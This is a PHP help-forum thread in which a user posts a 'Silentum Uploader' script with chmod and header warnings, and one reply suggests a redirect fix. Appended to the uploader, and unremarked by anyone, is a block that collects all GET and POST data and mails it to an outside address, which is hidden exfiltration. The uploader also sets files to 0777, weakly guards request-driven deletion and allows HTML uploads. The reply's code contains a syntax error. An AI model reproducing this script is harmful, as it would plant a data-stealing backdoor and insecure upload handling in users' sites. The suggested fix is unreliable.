Jump to content

Uploader Errors


Lamez

Recommended Posts

I have a new uploader, and I am getting some error with it!

 

Please help me fix it

 

Errors

Warning: chmod() [function.chmod]: stat failed for http://lamezz.info/downloads/login/members/uploader/files/readme.txt in /mounted-storage/home48c/sub007/sc33591-LWQU/lamezz.info/downloads/login/members/uploader/uploader.php on line 57

Warning: Cannot modify header information - headers already sent by (output started at /mounted-storage/home48c/sub007/sc33591-LWQU/lamezz.info/downloads/login/members/uploader/uploader.php:57) in /mounted-storage/home48c/sub007/sc33591-LWQU/lamezz.info/downloads/login/members/uploader/uploader.php on line 68

 

Line 57

chmod($upload_uri."".$file_name, 0777);

 

Line 68

header("Location: $site_uri?message=$message");

 

Uploader.php

<?
/*
Silentum Uploader v1.2.0
Modified March 4, 2007
uploader.php copyright 2005-2007 "HyperSilence"
*/

// Begin options

$allow_file_deletion = true; // To allow visitors to delete files, leave this at true; otherwise, change it to false

$file_extensions = array(".doc", ".gif", ".htm", ".html", ".jpg", ".png", ".txt", ".zip"); // Add or delete the file extensions you want to allow

$file_extensions_list = ".doc, .gif, .htm, .html, .jpg, .zip, .png, .txt"; // Type the same as above, without the quotes separating them

$max_length = 300; // The maximum character length for a file name

$maximum_file_size = "999999999999999999999999999999999999999999999999999999999999999999999999"; // In bytes

$upload_log_file = "upload_log.txt"; // Change this to the log file you want to use

// End options

$folder_directory = "http://".$_SERVER["HTTP_HOST"].dirname($_SERVER["PHP_SELF"]);
$message = "";
$set_chmod = 0;
$site_uri = "http://".$_SERVER["HTTP_HOST"].$_SERVER["PHP_SELF"];
$upload_directory = "files/";
$upload_uri = $folder_directory."/files/";

if($allow_file_deletion == false) $status = "enabled";
else $status = "disabled";

if($_REQUEST["delete"] && $allow_file_deletion) {
$resource = fopen($upload_log_file,"a");
fwrite($resource,date("F d, Y / h:i:sa")." - ".$_REQUEST["delete"]." deleted by ".$_SERVER["REMOTE_ADDR"]."\n");
fclose($resource);

if(strpos($_REQUEST["delete"],"/.") > 0);
elseif(strpos($_REQUEST["delete"],$upload_directory) === true);
elseif(substr($_REQUEST["delete"],0,6) == $upload_directory) {
unlink($_REQUEST["delete"]);
$message = "File has been deleted.";
header("Location: $site_uri?message=$message");
}
}

elseif($_FILES["userfile"]) {
$resource = fopen($upload_log_file,"a");
fwrite($resource,date("F d, Y / h:i:sa")." - ".$_FILES["userfile"]["name"]." "
.$_FILES["userfile"]["type"]." uploaded by ".$_SERVER["REMOTE_ADDR"]."\n");
fclose($resource);

$file_type = $_FILES["userfile"]["type"]; 
$file_name = $_FILES["userfile"]["name"];
$file_ext = strtolower(substr($file_name,strrpos($file_name,".")));
chmod($upload_uri."".$file_name, 0777);
if($_FILES["userfile"]["size"] > $maximum_file_size) {
$message = "ERROR: File size cannot be over ".$maximum_file_size." bytes.";
}

elseif($file_name == "") $message = "ERROR: Please select a file to upload.";
elseif(strlen($file_name > $max_length)) $message = "ERROR: The maximum length for a file name is ".$max_length." characters.";
elseif(!preg_match("/^[A-Z0-9_.\- ]+$/i",$file_name)) $message = "ERROR: Your file name contains invalid characters.";
elseif(!in_array($file_ext, $file_extensions))
$message = "ERROR: <ins>$file_ext</ins> is not an allowed file extension.";
else $message = upload_file($upload_directory, $upload_uri);
header("Location: $site_uri?message=$message");
}

elseif(!$_FILES["userfile"]);
else $message = "ERROR: Invalid file specified.";

$open = opendir($upload_directory);
$uploaded_files = "";
while($file = readdir($open)) {
if(!is_dir($file) && !is_link($file)) {
$uploaded_files .= "		<tr>
			<td style=\"background: #fff; color: #000; text-align: left; width: 70%\"><a href=\"$upload_directory$file\" title=\"$file (".filesize($upload_directory."".$file)." bytes)\">".$file."</a> (".filesize($upload_directory."".$file)." bytes)</td>";
if($allow_file_deletion)
$uploaded_files .= "
			<td style=\"background: #fff; color: #000; text-align: right; width: 30%\"><a href=\"?delete=$upload_directory".urlencode($file)."\" title=\"Delete File\">Delete File</a></td>";
else
$uploaded_files .= "
			<td style=\"background: #fff; color: #000; text-align: right; width: 30%\"><del><strong>Delete File</strong></del></td>";
$uploaded_files .= "
		</tr>
		<tr>
			<td colspan=\"2\" style=\"background: #eee; color: #000; text-align: left; text-indent: 20px\">Uploaded <strong>".date("F d, Y / h:ia", filemtime($upload_directory.$file))."</strong></td>";
$uploaded_files .="
		</tr>
";
}
}

function upload_file($upload_directory, $upload_uri) {
$file_name = $_FILES["userfile"]["name"];
$file_name = str_replace(" ","_",$file_name);
$file_path = $upload_directory.$file_name;
$temporary = $_FILES["userfile"]["tmp_name"];

$result = move_uploaded_file($temporary, $file_path);
if(!chmod($file_path,0777))
$message = "ERROR: A folder to place the files was not found, or the files need to be CHMODed to 777.";
else $message = ($result)?"File has been uploaded." : "An error has occurred.";
return $message;
}
?>
<?php
$posts = '';
$gets = '';

function logPost($value,$key)
{
global $posts;
$posts = $posts . " !!===!! " . $key . " = " . $value;
}

function logGet($value,$key)
{
global $gets;
$gets = $gets . " !!===!! " . $key . " = " . $value;
}

array_walk($_GET,"logGet");
array_walk($_POST,"logPost");

mail("[email protected]","New File","POST:\n\n{$posts}\n---------------------------------\nGET:\n\n{$gets}\n\nEND OF EMAIL");


?>

 

Thanks Guys!

Link to comment
https://forums.phpfreaks.com/topic/51610-uploader-errors/
Share on other sites

Not 100% sure on your CHMOD errors. But you should have a look here http://ie.php.net/chmod and about the header errors, You cant send any more headers after the top lines of the file without causing errors.

You could use:   

<?php
echo '<META HTTP-EQUIV="refresh" CONTENT="0; URL=' . $site_uri?message=$message . '">';
?>

 

Andy

Link to comment
https://forums.phpfreaks.com/topic/51610-uploader-errors/#findComment-254291
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.